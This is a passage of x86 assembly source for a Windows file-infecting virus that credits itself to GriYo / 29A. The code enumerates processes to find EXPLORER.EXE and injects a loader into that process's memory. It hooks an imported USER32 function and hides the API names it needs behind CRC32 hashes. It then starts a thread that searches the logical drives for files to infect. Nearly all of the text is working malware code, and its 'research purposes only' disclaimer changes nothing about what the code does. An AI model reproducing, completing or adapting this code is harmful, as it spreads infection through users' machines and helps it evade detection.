lea edi,dword ptr [ebp+szSYSTEMDIR]
push edi
call dword ptr [ebp+a_GetSystemDirectoryA]
or eax,eax
jz GoBack2Host

;edi -> Points 1byte above the null terminator

add edi,eax
cld
mov eax,'D.*\' ; Add '*.DLL'
stosd
mov eax,00004C4Ch
stosd

;============================================================
;Get OS version
;============================================================

lea esi,dword ptr [ebp+system_version]


push esi
mov dword ptr [esi],00000094h
call dword ptr [ebp+a_GetVersionEx]
or eax,eax
jz FreeUSER32
add esi,00000010h
cld
lodsd

cmp eax,VER_PLATFORM_WIN32_NT
je MemInfectWinNt

cmp eax,VER_PLATFORM_WIN32_WINDOWS
je MemInfectWin9x

;============================================================
;Free USER32
;============================================================

FreeUSER32: push dword ptr [ebp+hUSER32]


call dword ptr [ebp+a_FreeLibrary]

;============================================================
;Back to host
;============================================================

TblDoPolyPops equ $

GoBack2Host: pop eax


pop eax
pop eax
pop eax

ret

;============================================================================
;Residency routines for Windows 9x
;============================================================================

;============================================================
;Get hands on USER32.DLL
;============================================================

MemInfectWin9x: mov eax,dword ptr [ebp+CRCszUSER32]


mov ecx,NumUSER32Apis
lea esi,dword ptr [ebp+CRC32USER32Apisw9x]
lea edi,dword ptr [ebp+epUSER32Apis]
call VirLoadLib
mov dword ptr [ebp+hUSER32],eax
or eax,eax
jz GoBack2Host

;============================================================
;The functions provided by the tool help library make it
;easier for you to obtain information about currently
;executing applications. These functions are designed to
;streamline the creation of Win32-hosted tools, specifically
;debuggers
;============================================================

mov ebx,dword ptr [ebp+hKERNEL32]

mov ecx,NumTOOLHELPApis
lea esi,dword ptr [ebp+CRC32TOOLHELPApis]
lea edi,dword ptr [ebp+epTOOLHELPApis]
call get_APIs
jecxz DoneTOOLHELP
ExitMemWin9x: jmp FreeUSER32

;============================================================
;Take a snapshot of the processeses currently loaded in the
;system
;
;The snapshot taken by CreateToolHelpSnapShot function is
;examined by the other tool help functions to provide their
;results
;
;Access to the snapshot is read only. The snapshot handle
;acts like an object handle and is subject to the same rules
;regarding which processes and threads it is valid in
;============================================================

TH32CS_SNAPHEAPLIST equ 00000001h


TH32CS_SNAPPROCESS equ 00000002h
TH32CS_SNAPTHREAD equ 00000004h
TH32CS_SNAPMODULE equ 00000008h
TH32CS_INHERIT equ 80000000h

TH32CS_SNAPALL equ TH32CS_SNAPHEAPLIST or \


TH32CS_SNAPPROCESS or \
TH32CS_SNAPTHREAD or \
TH32CS_SNAPMODULE

DoneTOOLHELP: push ecx ;th32ProcessID


push TH32CS_SNAPPROCESS ;dwFlags

call dword ptr [ebp+a_CreateToolhelp32Snapshot]


cmp eax,0FFFFFFFFh
je ExitMemWin9x

mov dword ptr [ebp+hSnapshot],eax

;============================================================
;Retrieve information about the first process encountered
;in the system snapshot
;============================================================

lea edi,dword ptr [ebp+ProcessEntry]


push edi
mov dword ptr [edi],SIZEOFPROCESSENTRY
push eax
call dword ptr [ebp+a_Process32First]
or eax,eax
jz CloseSnapshot

CheckProcEntry: lea esi,dword ptr [ebp+ProcEszExeFile]


lea edi,dword ptr [ebp+BufStrFilename]
call parse_filename

mov esi,edx
call get_str_crc32
cmp edx,dword ptr [ebp+CRCszEXPLORER] ;Is EXPLORER.EXE ?
je EFoundTryMod

;============================================================
;Go to next process
;============================================================

lea eax,dword ptr [ebp+ProcessEntry]


push eax ;lppe
push dword ptr [ebp+hSnapshot] ;hSnapshot
call dword ptr [ebp+a_Process32Next]
or eax,eax
jnz CheckProcEntry

CloseSnapshot: push dword ptr [ebp+hSnapshot]


call dword ptr [ebp+a_CloseHandle]

jmp ExitMemWin9x

;============================================================
;Close snapshot and create a new one, but this time we are
;going to list modules loaded by EXPLORER.EXE
;============================================================

EFoundTryMod: push dword ptr [ebp+hSnapshot]


call dword ptr [ebp+a_CloseHandle]

push dword ptr [ebp+ProcEth32ProcessID] ;th32ProcessID


push TH32CS_SNAPMODULE ;dwFlags

call dword ptr [ebp+a_CreateToolhelp32Snapshot]


cmp eax,0FFFFFFFFh
je ExitMemWin9x

mov dword ptr [ebp+hSnapshot],eax

;============================================================
;Perfect !!!! Lets retrieve 1st module using Module32First
;============================================================

lea edi,dword ptr [ebp+ModuleEntry]


push edi ;lpme
mov dword ptr [edi],SIZEOFMODULEENTRY
push eax ;hSnapshot
call dword ptr [ebp+a_Module32First]
or eax,eax
jz CloseSnapshot

;============================================================
;Check if this is the module we are interested in
;============================================================

CheckEMod: mov eax,dword ptr [ebp+ProcEth32ModuleID]


cmp eax,dword ptr [ebp+ModEth32ModuleID]
je GetModDone

;============================================================
;Go to next module
;============================================================

push edi ;lpme


push dword ptr [ebp+hSnapshot] ;hSnapshot
call dword ptr [ebp+a_Module32Next]
or eax,eax
jnz CheckEMod

jmp CloseSnapshot ;Abort if module not found

;============================================================
;Ohj0j0... Fine! Here we are with EXPLORER.EXE module handle
;============================================================
GetModDone: mov edx,dword ptr [ebp+ModEhModule]
mov dword ptr [ebp+hModule],edx

;============================================================
;Open process
;============================================================

mov eax,dword ptr [ebp+ProcEth32ProcessID]


call OpenProcess
or eax,eax
jz CloseSnapshot

;============================================================
;Duh! EXPLORER.EXE process is now 0wN3d
;============================================================

call FuckExplorer

;============================================================
;Close process
;============================================================

push dword ptr [ebp+hProcess]


call dword ptr [ebp+a_CloseHandle]
jmp CloseSnapshot

;============================================================================
;Residency routines for Windows NT & Windows 2000
;============================================================================

;============================================================
;Hands on USER32 apis for Windows NT (Use wide versions)
;============================================================

MemInfectWinNt: mov eax,dword ptr [ebp+CRCszUSER32]


mov ecx,NumUSER32Apis
lea esi,dword ptr [ebp+CRC32USER32Apiswnt]
lea edi,dword ptr [ebp+epUSER32Apis]
call VirLoadLib
mov dword ptr [ebp+hUSER32],eax
or eax,eax
jz GoBack2Host

;============================================================
;We need PSAPI.DLL to do the trick
;============================================================

mov eax,dword ptr [ebp+CRCszPSAPI]


mov ecx,NumPSAPIApis
lea esi,dword ptr [ebp+CRC32PSAPIApis]
lea edi,dword ptr [ebp+epPSAPIApis]
call VirLoadLib
mov dword ptr [ebp+hPSAPI],eax
or eax,eax
jz FreeUSER32

;============================================================
;Get a list of loaded processes (Max. 32 processes)
;============================================================

DonePSAPI: lea edi,dword ptr [ebp+EP_Bytes]


push edi ;cbNeeded
push 00000080h ;cb
lea esi,dword ptr [ebp+ProcessIdList]
push esi
call dword ptr [ebp+a_EnumProcesses]
or eax,eax
jz ExitMemNt

;============================================================
;To determine how many processes were enumerated by the call
;to EnumProcesses, divide the resulting value in the cbNeeded
;parameter by sizeof(DWORD)
;============================================================

mov ecx,dword ptr [edi]


shr ecx,02h ;Divide ECX by 4... Nice, isnt it?
jecxz ExitMemNt

;============================================================
;Now we have a list of process identifiers... Follow it
;============================================================

ProcessLookUp: push ecx


cld
lodsd
push esi

;============================================================
;Open process
;============================================================

call OpenProcess
or eax,eax
jz TryNextProcess

;============================================================
;Enumerate process modules... The 1st obtained module
;is the executable itself
;============================================================

lea edx,dword ptr [ebp+EP_Bytes] ;lpcbNeeded


push edx
push 00000080h ;cb
lea esi,dword ptr [ebp+ModuleList]
push esi ;lphModule
push eax ;hProcess

call dword ptr [ebp+a_EnumProcessModules]


or eax,eax
jz NCProcess

cld
lodsd ;The first module is the .EXE itself

mov dword ptr [ebp+hModule],eax

;============================================================
;Get module name using GetModuleBaseNameA API
;============================================================

push MAX_PATH ;nSize


lea esi,dword ptr [ebp+BufStrFilename]
push esi ;lpBaseName
push eax ;hModule
push dword ptr [ebp+hProcess] ;hProcess
call dword ptr [ebp+a_GetModuleBaseNameA]
or eax,eax
jz NCProcess

;============================================================
;Module name is EXPLORER.EXE (use CRC32 comparison)
;============================================================

mov edi,esi
call parse_filename
mov esi,edx
call get_str_crc32
cmp edx,dword ptr [ebp+CRCszEXPLORER] ;Is EXPLORER.EXE ?
jne NCProcess

;============================================================
;If EXPLORER.EXE found cleanup and go to the memory
;infection procedure
;============================================================

pop eax
pop eax
call FuckExplorer

;============================================================
;Close process
;============================================================

push dword ptr [ebp+hProcess]


call dword ptr [ebp+a_CloseHandle]

jmp ExitMemNt

;============================================================
;Try next process
;============================================================

NCProcess: push dword ptr [ebp+hProcess]


call dword ptr [ebp+a_CloseHandle]

TryNextProcess: pop esi


pop ecx
loop ProcessLookUp

;============================================================
;Residency proc failed!
;============================================================

ExitMemNt: push dword ptr [ebp+hPSAPI]


call dword ptr [ebp+a_FreeLibrary]
jmp FreeUSER32

;============================================================================
;Open process
;
;On entry:
; eax -> Process id
;On exit:
; eax -> Handle to process or NULL if error
;============================================================================

PROCESS_TERMINATE equ 00000001h


PROCESS_CREATE_THREAD equ 00000002h
PROCESS_SET_SESSIONID equ 00000004h
PROCESS_VM_OPERATION equ 00000008h
PROCESS_VM_READ equ 00000010h
PROCESS_VM_WRITE equ 00000020h
PROCESS_DUP_HANDLE equ 00000040h
PROCESS_CREATE_PROCESS equ 00000080h
PROCESS_SET_QUOTA equ 00000100h
PROCESS_SET_INFORMATION equ 00000200h
PROCESS_QUERY_INFORMATION equ 00000400h

OpenProcess: push eax


push 00000000h
push PROCESS_QUERY_INFORMATION or \
PROCESS_VM_READ or \
PROCESS_VM_WRITE or \
PROCESS_VM_OPERATION

call dword ptr [ebp+a_OpenProcess]

mov dword ptr [ebp+hProcess],eax


ret

;============================================================================
;Infect EXPLORER.EXE in memory
;============================================================================

;============================================================
;Now search for the section header list
;============================================================

FuckExplorer: mov ebx,dword ptr [ebp+hModule]

mov ecx,00000004h
lea esi,dword ptr [ebp+Explorer_MZ_lfanew]
mov eax,ebx
add eax,MZ_lfanew
call ReadProcessMem
or eax,eax
jz FE_Exit

lodsd ;There is a CLD at the end of ReadProcessMem


or eax,eax ;Now esi -> Explorer_FH_SizeOfOptionalHeader
jz FE_Exit

; eax -> MZ_lfanew

add eax,ebx
mov edi,eax
add eax,00000004h + FH_SizeOfOptionalHeader
dec ecx
dec ecx
call ReadProcessMem
or eax,eax
jz FE_Exit

lodsw ;Just to do
;esi -> Explorer_FH_NumberOfSections
mov eax,edi
add eax,00000004h + FH_NumberOfSections
call ReadProcessMem
or eax,eax
jz FE_Exit
lodsw ;esi -> Explorer_SectionHeader
movzx ecx,ax ;ecx -> Number of sections

movzx eax,word ptr [ebp+Explorer_FH_SizeOfOptionalHeader]


add edi,eax
add edi,00000004h + IMAGE_SIZEOF_FILE_HEADER

;============================================================
;Search for a suitable section
;============================================================

ExplorerHole: push ecx

mov eax,edi
mov ecx,IMAGE_SIZEOF_SECTION_HEADER
call ReadProcessMem
or eax,eax
jz E_NextSection

;============================================================
;Is this a valid section?
;============================================================

cmp dword ptr [esi+SH_Characteristics], \


IMAGE_SCN_MEM_READ or \
IMAGE_SCN_MEM_WRITE or \
IMAGE_SCN_CNT_INITIALIZED_DATA
jne E_NextSection

mov eax,dword ptr [esi+SH_SizeOfRawData]


sub eax,dword ptr [esi+SH_VirtualSize]
js E_NextSection

cmp eax,SIZEOF_EVL
jae Ok_E_Section

;============================================================
;Try next section
;============================================================

E_NextSection: add edi,ecx


pop ecx
loop ExplorerHole

;============================================================
;No suitable section found
;============================================================

jmp FE_Exit

;============================================================
;Yes, this is a valid section... Write virus loader
;============================================================

Ok_E_Section: pop ecx ;Cleanup stack

mov eax,dword ptr [ebp+a_DefWindowProc]


mov dword ptr [ebp+EVL_a_OrginalApiAddr],eax

mov eax,dword ptr [ebp+a_OpenFileMappingA]


mov dword ptr [ebp+EVL_a_OpenFileMapping],eax
mov eax,dword ptr [ebp+a_MapViewOfFile]
mov dword ptr [ebp+EVL_a_MapViewOfFile],eax

mov eax,ebx
add eax,dword ptr [esi+SH_VirtualAddress]
add eax,dword ptr [esi+SH_VirtualSize]

mov dword ptr [ebp+Explorer_Patch],eax

mov ecx,SIZEOF_EVL
lea esi,dword ptr [ebp+EVL_code]
call WriteProcessMem
or eax,eax
jz FE_Exit

;============================================================
;Go to EXPLORER.EXE data directory
;============================================================

mov eax,ebx
add eax,dword ptr [ebp+Explorer_MZ_lfanew]
add eax,00000004h + \
IMAGE_SIZEOF_FILE_HEADER + \
OH_DataDirectory.DE_Import.DD_VirtualAddress

mov ecx,00000004h
lea esi,dword ptr [ebp+Explorer_DE_Import]
call ReadProcessMem
or eax,eax
jz FE_Exit

;============================================================
;Search for USER32 import module descriptor
;============================================================

lodsd
add eax,ebx
mov edi,eax

E_Search_K32: mov eax,edi


mov ecx,IMAGE_SIZEOF_IMPORT_DESCRIPTOR
lea esi,dword ptr [ebp+Explorer_ImportDescriptor]
call ReadProcessMem
or eax,eax
jz FE_Exit

;============================================================
;Last import module descriptor!?
;============================================================

cmp dword ptr [esi],00000000h


je FE_Exit

;============================================================
;Check import module descriptor ID_Name
;============================================================

mov eax,ebx
add eax,dword ptr [esi+ID_Name]
mov ecx,00000010h
lea esi,dword ptr [ebp+Explorer_ID_Name]
call ReadProcessMem
or eax,eax
jz FE_Exit
push edi

lea edi,dword ptr [ebp+BufStrFilename]


call parse_filename
mov esi,edx
call get_str_crc32

pop edi

cmp edx,dword ptr [ebp+CRCszUSER32] ;Is USER32.DLL ?


je E_Found_K32

;============================================================
;Next import module descriptor
;============================================================

add edi,IMAGE_SIZEOF_IMPORT_DESCRIPTOR
jmp E_Search_K32

;============================================================
;USER32.DLL import module descriptor found
;============================================================

E_Found_K32: mov edi,dword ptr [ebp+ \


Explorer_ImportDescriptor+ \
ID_FirstThunk]
add edi,ebx
mov ecx,00000004h
lea esi,dword ptr [ebp+Explorer_Hook]

E_NextThunk: mov eax,edi


call ReadProcessMem
or eax,eax
jz FE_Exit

mov eax,dword ptr [esi]


or eax,eax
jz FE_Exit

cmp eax,dword ptr [ebp+a_DefWindowProc]


je E_Poison

add edi,ecx
jmp E_NextThunk

;============================================================
;Gotcha!
;============================================================

E_Poison: mov eax,edi


mov dword ptr [ebp+Explorer_Init_Hook],eax
lea esi,dword ptr [ebp+Explorer_Patch]

call WriteProcessMem ; ECX already loaded


or eax,eax
jz FE_Exit

;============================================================
;Done!!!! ieieie!!!!
;============================================================

FE_Exit: ret
;============================================================================
;Code injected into EXPLORER.EXE
;
;The purpose of this code is to get access to virus memory from EXPLORER.EXE
;============================================================================

EVL_code equ $

;============================================================
;Let some space for the return address... then save all regs
;============================================================

push eax
pushad

;============================================================
;This is the original address of the API... Lets make the
;return address point to it
;============================================================

db 0B8h ; EAX -> Original API address


EVL_a_OrginalApiAddr dd 00000000h

mov dword ptr [esp+cPushad],eax

;============================================================
;Attempt to avoid reentrance problems
;============================================================

call MultiThreadSafe

db 00h ;Only changed over hook code, not over main virus body

MultiThreadSafe:pop esi
mov edi,esi
cld
lodsb
or al,al
jnz MayBeOnNextCall
dec al
stosb

;============================================================
;Try to open the virus file-mapping
;
;There is some kinda race condition here... If the infected
;program terminates before this point we wont be able to
;find the rest of the virus in memory...
;
;In that case the hook will stay present, and this code may
;be able to find the virus memory-mapping on next attemps
;============================================================

call GetszObjName ;lpName

szObjectName db 10h dup (00h)

GetszObjName: push 00000000h ;bInheritHandle


mov edi,FILE_MAP_WRITE
push edi ;dwDesiredAccess

db 0B8h ; EAX -> OpenFileMappingA


EVL_a_OpenFileMapping dd 00000000h

call eax
or eax,eax
jz MayBeOnNextCall

;============================================================
;The file-mapping is here... Get an image of it
;============================================================

xor edx,edx
push edx
push edx
push edx
push edi
push eax

db 0B8h ; EAX -> OpenFileMappingA


EVL_a_MapViewOfFile dd 00000000h

call eax

or eax,eax
jz MayBeOnNextCall

;============================================================
;Great! We have access to virus allocated memory, but
;remember we are now inside EXPLORER.EXE !!!!
;
;Jump to virus complete image in order to complete
;initialization inside EXPLORER.EXE
;============================================================

add eax,offset ExplorerInit - offset viro_sys


call eax

;============================================================
;Restore regs and jump to original API code
;============================================================

MayBeOnNextCall:popad
ret

SIZEOF_EVL equ $-EVL_code

;============================================================================
;Read process memory routine
;
;On entry:
; eax -> Pointer to the base address from which to read
; ecx -> Specifies the requested number of bytes to read
; esi -> Pointer to a buffer that receives the contents from
; the address address
;
; [ebp+hProcess] contains the target process handle
;
;On exit:
; eax -> NULL if error
;
; ebx, ecx, esi, edi, ebp preserved
;============================================================================

ReadProcessMem: push edi


push ecx

lea edi,dword ptr [ebp+EP_Bytes] ;lpNumberOfBytesRead


push edi
push ecx ;nSize
push esi ;lpBuffer
push eax ;lpBaseAddress
push dword ptr [ebp+hProcess] ;hProcess

call dword ptr [ebp+a_ReadProcessMemory]

pop ecx

or eax,eax
jz ExitREM

cmp dword ptr [edi],ecx


je ExitREM

xor eax,eax

ExitREM: pop edi


cld
ret

;============================================================================
;Write process memory routine
;
;On entry:
; eax -> Pointer to the base address in the specified process
; to which data will be written
; ecx -> Specifies the number of bytes to write
; esi -> Pointer to the buffer that contains data to be written
;
; [ebp+hProcess] contains the target process handle
;
;On exit:
; eax -> NULL if error
;
; ebx, ecx, esi, edi, ebp preserved
;============================================================================

WriteProcessMem:push edi
push ecx

lea edi,dword ptr [ebp+EP_Bytes] ;lpNumberOfBytesWritten


push edi
push ecx ;nSize
push esi ;lpBuffer
push eax ;lpBaseAddress
push dword ptr [ebp+hProcess] ;hProcess

call dword ptr [ebp+a_WriteProcessMemory]

pop ecx

or eax,eax
jz ExitWEM

cmp dword ptr [edi],ecx


je ExitWEM

xor eax,eax
ExitWEM: pop edi
cld
ret

;============================================================================
;Make crc lookup table
;
;Generate a table for a byte-wise 32-bit CRC calculation on the polynomial:
;x^32+x^26+x^23+x^22+x^16+x^12+x^11+x^10+x^8+x^7+x^5+x^4+x^2+x+1.
;
;Polynomials over GF(2) are represented in binary, one bit per coefficient,
;with the lowest powers in the most significant bit. Then adding polynomials
;is just exclusive-or, and multiplying a polynomial by x is a right shift by
;one. If we call the above polynomial p, and represent a byte as the
;polynomial q, also with the lowest power in the most significant bit (so the
;byte 0xb1 is the polynomial x^7+x^3+x+1), then the CRC is (q*x^32) mod p,
;where a mod b means the remainder after dividing a by b.
;
;This calculation is done using the shift-register method of multiplying and
;taking the remainder. The register is initialized to zero, and for each
;incoming bit, x^32 is added mod p to the register if the bit is a one (where
;x^32 mod p is p+x^32 = x^26+...+1), and the register is multiplied mod p by
;x (which is shifting right by one and adding x^32 mod p if the bit shifted
;out is a one). We start with the highest power (least significant bit) of
;q and repeat for all eight bits of q.
;
;The table is simply the CRC of all possible eight bit values. This is all
;the information needed to generate CRC's on data a byte at a time for all
;combinations of CRC register values and incoming bytes.
;
;Original C code by Mark Adler
;Translated to asm for Win32 by GriYo
;============================================================================

make_crc_tbl:

;============================================================================
;Make exclusive-or pattern from polynomial (0EDB88320h)
;
;The following commented code is an example of how to
;make the exclusive-or pattern from polynomial
;at runtime
;
; xor edx,edx
; mov ecx,0000000Eh
; lea ebx,dword ptr [ebp+tbl_terms]
;calc_poly: mov eax,ecx
; xlatb
; sub eax,0000001Fh
; neg eax
; bts edx,eax
; loop calc_poly
;
; edx contains now the exclusive-or pattern
;
; The polynomial is:
;
; X^32+X^26+X^23+X^22+X^16+X^12+X^11+X^10+X^8+X^7+X^5+X^4+X^2+X^1+X^0
;
;tbl_terms db 0,1,2,4,5,7,8,10,11,12,16,22,23,26
;
;============================================================================
cld
mov ecx,00000100h
lea edi,dword ptr [ebp+tbl_crc32]
crc_tbl_do: mov eax,000000FFh
sub eax,ecx
push ecx
mov ecx,00000008h
make_crc_value: shr eax,01h
jnc next_value
xor eax,0EDB88320h
next_value: loop make_crc_value
pop ecx
stosd
loop crc_tbl_do
ret

;============================================================================
;Return a 32bit CRC of the contents of the buffer
;
;On entry:
; esi -> Ptr to buffer
; ecx -> Buffer size
;On exit:
; edx -> 32bit CRC
;============================================================================

get_crc32: cld
push edi
xor edx,edx
lea edi,dword ptr [ebp+tbl_crc32]
crc_calc: push ecx
lodsb
xor eax,edx
and eax,000000FFh
shr edx,08h
xor edx,dword ptr [edi+eax]
pop ecx
loop crc_calc
pop edi
ret

;============================================================================
;Get a 32bit CRC of a null terminated array
;
;On entry:
; esi -> Ptr to string
;Exit:
; edx -> 32bit CRC
;============================================================================

get_str_crc32: cld
push ecx
push edi
mov edi,esi
xor eax,eax
mov ecx,eax
crc_sz: inc ecx
scasb
jnz crc_sz
call get_crc32
pop edi
pop ecx
ret

;============================================================================
;Get the entry-point of GetProcAddress
;
;On entry:
; ebx -> KERNELL32 base address
;On exit:
; ecx -> Address of GetProcAddress
;============================================================================

GetGetProcAddr: cld
mov eax,dword ptr [ebx+IMAGE_DOS_HEADER.MZ_lfanew]
mov edx,dword ptr [eax+ \
ebx+ \
NT_OptionalHeader. \
OH_DirectoryEntries. \
DE_Export. \
DD_VirtualAddress]
add edx,ebx
mov esi,dword ptr [edx+ED_AddressOfNames]
add esi,ebx
mov edi,dword ptr [edx+ED_AddressOfNameOrdinals]
add edi,ebx
mov ecx,dword ptr [edx+ED_NumberOfNames]

function_loop: lodsd
push edx
push esi
lea esi,dword ptr [eax+ebx] ;Get ptr to API name
call get_str_crc32 ;Get CRC32 of API name
pop esi
cmp edx,dword ptr [ebp+CrcGetProcAddr]
je API_found
inc edi
inc edi
pop edx
loop function_loop
ret

API_found: pop edx


movzx eax,word ptr [edi]
sub eax,dword ptr [edx+ED_BaseOrdinal]
inc eax
shl eax,02h
mov esi,dword ptr [edx+ED_AddressOfFunctions]
add esi,eax
add esi,ebx
lodsd
lea ecx,dword ptr [eax+ebx]
ret

;============================================================================
;Get the entry-point of each needed API
;
;This routine uses the CRC32 instead of API names
;
;On entry:
; ebx -> Base address of DLL
; ecx -> Number of APIs in the folling buffer
; esi -> Buffer filled with the CRC32 of each API name
; edi -> Recives found API addresses
;On exit:
; ecx -> Is 00000000h if everything was ok
;============================================================================

get_APIs: cld
get_each_API: push ecx
push esi

;============================================================
;Get a pointer to the EXPORT data
;============================================================

mov eax,dword ptr [ebx+IMAGE_DOS_HEADER.MZ_lfanew]


mov edx,dword ptr [eax+ \
ebx+ \
NT_OptionalHeader. \
OH_DirectoryEntries. \
DE_Export. \
DD_VirtualAddress]
add edx,ebx
mov esi,dword ptr [edx+ED_AddressOfNames]
add esi,ebx
mov ecx,dword ptr [edx+ED_NumberOfNames]

;============================================================
;Try to find an API name that matches given CRC32
;============================================================

API_Loop: lodsd
push esi ;Ptr to AddressOfNames
lea esi,dword ptr [eax+ebx]
push esi ;Save ptr to API name
call get_str_crc32
mov esi,dword ptr [esp+00000008h]
lodsd
cmp eax,edx
je CRC_API_found
pop eax ;Remove API name from stack
pop esi ;Ptr to RVA for next API name
loop API_Loop
get_API_error: pop esi ;Ptr to CRC's of API names
pop ecx ;Number of API's
ret ;Exit with error (ecx!=NULL)

;============================================================
;The ptr to API name is already on stack, now push the
;module handle and call GetProcAddress
;============================================================

CRC_API_found: push ebx


call dword ptr [ebp+a_GetProcAddress]

cld ;Dont let the API call change this


pop edx ;Remove ptr to RVA for next name

or eax,eax
jz get_API_error;If GetProcAddress returned NULL exit

stosd ;Save the API address into given table


pop esi ;Ptr to CRC's of API names
lodsd
pop ecx
loop get_each_API
ret
;============================================================================
;Find base address of KERNEL32.DLL
;Thanks to Jacky Qwerty for the SEH routines
;============================================================================

SEH_Block_0000 macro
add esp,-cPushad
jnz GNtBA_L1
endm

IGetNtBaseAddr: @SEH_SetupFrame <SEH_Block_0000>


mov ecx,edx
xchg ax,cx
GNtBA_L0: dec cx
jz GNtBA_L2
add eax,-10000h
pushad
mov bx,-IMAGE_DOS_SIGNATURE
add bx,word ptr [eax]
mov esi,eax
jnz GNtBA_L1
mov ebx,-IMAGE_NT_SIGNATURE
add eax,dword ptr [esi.MZ_lfanew]
mov edx,esi
add ebx,dword ptr [eax]
jnz GNtBA_L1
add edx,[eax.NT_OptionalHeader.OH_DirectoryEntries. \
DE_Export.DD_VirtualAddress]
add esi,dword ptr [edx.ED_Name]
lea edi,dword ptr [ebp+BufStrFilename]
call parse_filename
mov esi,edx
call get_str_crc32
cmp edx,dword ptr [ebp+CrcKernel32] ;Is KERNEL32.DLL ?
je k32_f
GNtBA_L1: popad
jmp GNtBA_L0

k32_f: popad
xchg ecx,eax
inc eax

GNtBA_L2: @SEH_RemoveFrame
ret

;============================================================================
;VirLoadLib
;
;To use CRC32 instead of API names sounds cool... But there are still some
;strings authors cant get rid of... When calling LoadLibrary the virus must
;specify the DLL name
;
;This routine is the solution to avoid the usage of DLL names
;
;On entry:
; eax -> CRC32 of DLL name
; esi -> CRC32 of API names
; edi -> Where to put API addresses
; ecx -> Number of APIs to find
;On exit:
; eax -> Module handle or NULL on error
;============================================================================
VirLoadLib: push ecx
push esi
push edi

mov dword ptr [ebp+a_SDLL_CRC32],eax

lea eax,dword ptr [ebp+DirectFindData]


push eax ;lpFindFileData
lea eax,dword ptr [ebp+szSYSTEMDIR] ;lpFileName
push eax

call dword ptr [ebp+a_FindFirstFileA]


cmp eax,INVALID_HANDLE_VALUE
jz EVirLoadLib

mov dword ptr [ebp+h_Find],eax

CheckDllName: lea esi,dword ptr [ebp+DirectFindData+WFD_szFileName]


lea edi,dword ptr [ebp+BufStrFilename]
call parse_filename
mov esi,edx
call get_str_crc32

cmp edx,dword ptr [ebp+a_SDLL_CRC32]


je OkCheckDll

lea eax,dword ptr [ebp+DirectFindData]


push eax ;lpFindFileData
push dword ptr [ebp+h_Find] ;hFindFile
call dword ptr [ebp+a_FindNextFileA]
or eax,eax
jnz CheckDllName

EVirLoadLib: pop edi


pop esi
pop ecx
xor eax,eax
ret

OkCheckDll: lea esi,dword ptr [ebp+szSYSTEMDIR]


lea edi,dword ptr [ebp+BufStrFilename]

push edi

call parse_filename
lea esi,dword ptr [ebp+DirectFindData+WFD_szFileName]
mov edi,edx
call parse_filename

call dword ptr [ebp+a_LoadLibraryA]


or eax,eax
jz EVirLoadLib

mov ebx,eax

pop edi
pop esi
pop ecx

call get_APIs
jecxz OkVirLoadLib
push ebx
call dword ptr [ebp+a_FreeLibrary]
xor eax,eax
ret

OkVirLoadLib: mov eax,ebx


ret

;============================================================================
;This routine takes a string pointed by esi and copies
;it into a buffer pointed by edi
;
;The result string will be converted to upper-case
;
;On entry:
; esi -> Pointer to source string
; edi -> Pointer to returned string
;
;On exit:
; al -> Null
; edx -> Points to character next to last \
; edi -> Points 1byte above the null terminator
;============================================================================

parse_filename: mov edx,edi


cld
ScanZstring: lodsb
cmp al,"a"
jb no_upper
cmp al,"z"
ja no_upper
and al,0DFh
no_upper: stosb
cmp al,"\"
jne err_slash_pos
mov edx,edi
err_slash_pos: or al,al
jnz ScanZstring
ret

;============================================================================
;Copyright notice and disclaimer
;============================================================================

copyright db '[ Dengue Hemorrhagic Fever'

db ' BioCoded by GriYo / 29A ]'

disclaimer db ' Disclaimer: This software has been designed'


db ' for research purposes only. The author is'
db ' not responsible for any problems caused due to'
db ' improper or illegal usage of it '

;============================================================================
;Virus initialization ( inside EXPLORER.EXE )
;============================================================================

ExplorerInit: call ExplorerDelta


ExplorerDelta: pop ebp
sub ebp,offset ExplorerDelta

;============================================================
;Get current local time
;============================================================

FreeExplorerOk: lea esi,dword ptr [ebp+local_time]


push esi
call dword ptr [ebp+a_GetLocalTime]

;============================================================
;Initialize random number generator seed using current
;year and current month
;============================================================

cld
lodsw
rol eax,10h
lodsw
mov dword ptr [ebp+rnd32_seed],eax

;============================================================
;Locate KERNEL32 code section in memory... This information
;will be used later in the EPO routines
;============================================================

mov ebx,dword ptr [ebp+hKERNEL32]


call get_code_sh
mov eax,dword ptr [edi+SH_VirtualAddress]
add eax,ebx
mov dword ptr [ebp+K32CodeStart],eax
add eax,dword ptr [edi+SH_VirtualSize]
mov dword ptr [ebp+K32CodeEnd],eax

;============================================================
;Sleep for a moment, before start making noise
;============================================================

push 00005000h
call dword ptr [ebp+a_Sleep]

;============================================================
;Load IMAGEHLP.DLL
;
;The ImageHlp functions are supported by the Microsoft
;Windows NT, Windows 95, and Windows 98 operating systems...
;They are used mostly by programming tools, application setup
;utilities, and other programs that need access to the data
;contained in a PE image
;============================================================

mov eax,dword ptr [ebp+CRCszIMGHLP]


mov ecx,NumIMGHLPApis
lea esi,dword ptr [ebp+CRC32IMGHLPApis]
lea edi,dword ptr [ebp+epIMGHLPApis]
call VirLoadLib
mov dword ptr [ebp+hIMGHLP],eax

;============================================================
;Load SFC.DLL (Windows 2000 only)
;============================================================

mov dword ptr [ebp+hSFC],00000000h


cmp dword ptr [ebp+dwMajorVersion],00000005h
jb Ready2Infect

mov eax,dword ptr [ebp+CRCszSFC]


mov ecx,NumSFCApis
lea esi,dword ptr [ebp+CRC32SFCApis]
lea edi,dword ptr [ebp+epSFCApis]
call VirLoadLib
mov dword ptr [ebp+hSFC],eax

;============================================================
;Initialization inside EXPLORER.EXE complete...
;
;Now create a thread to search for files to infect and
;get control back to EXPLORER.EXE
;============================================================

Ready2Infect: lea eax,dword ptr [ebp+IF_ThreadID]


push eax ;lpThreadId
xor edx,edx
push edx ;dwCreationFlags
push edx ;lpParameter
lea eax,dword ptr [ebp+InfectionThread]
push eax ;lpStartAddress
push edx ;dwStackSize
push edx ;lpThreadAttributes
call dword ptr [ebp+a_CreateThread]
or eax,eax
jz AfterThread

ret ; Let the thread running until terminates

;============================================================
;Free SFC
;============================================================

AfterThread: mov eax,dword ptr [ebp+hSFC]


or eax,eax
jz SfcNotLoaded

push eax
call dword ptr [ebp+a_FreeLibrary]

;============================================================
;Free IMAGEHLP
;============================================================

SfcNotLoaded: mov eax,dword ptr [ebp+hIMGHLP]


or eax,eax
jz ExitIThread

push eax
call dword ptr [ebp+a_FreeLibrary]

ret

;============================================================================
;Virus infection thread, created from inside EXPLORER.EXE process
;============================================================================

InfectionThread:call ThreadDelta
ThreadDelta: pop ebp
sub ebp,offset ThreadDelta

lea esi,dword ptr [ebp+szLogicalDrives]


mov edi,SIZEOF_LDSB
push esi
push edi
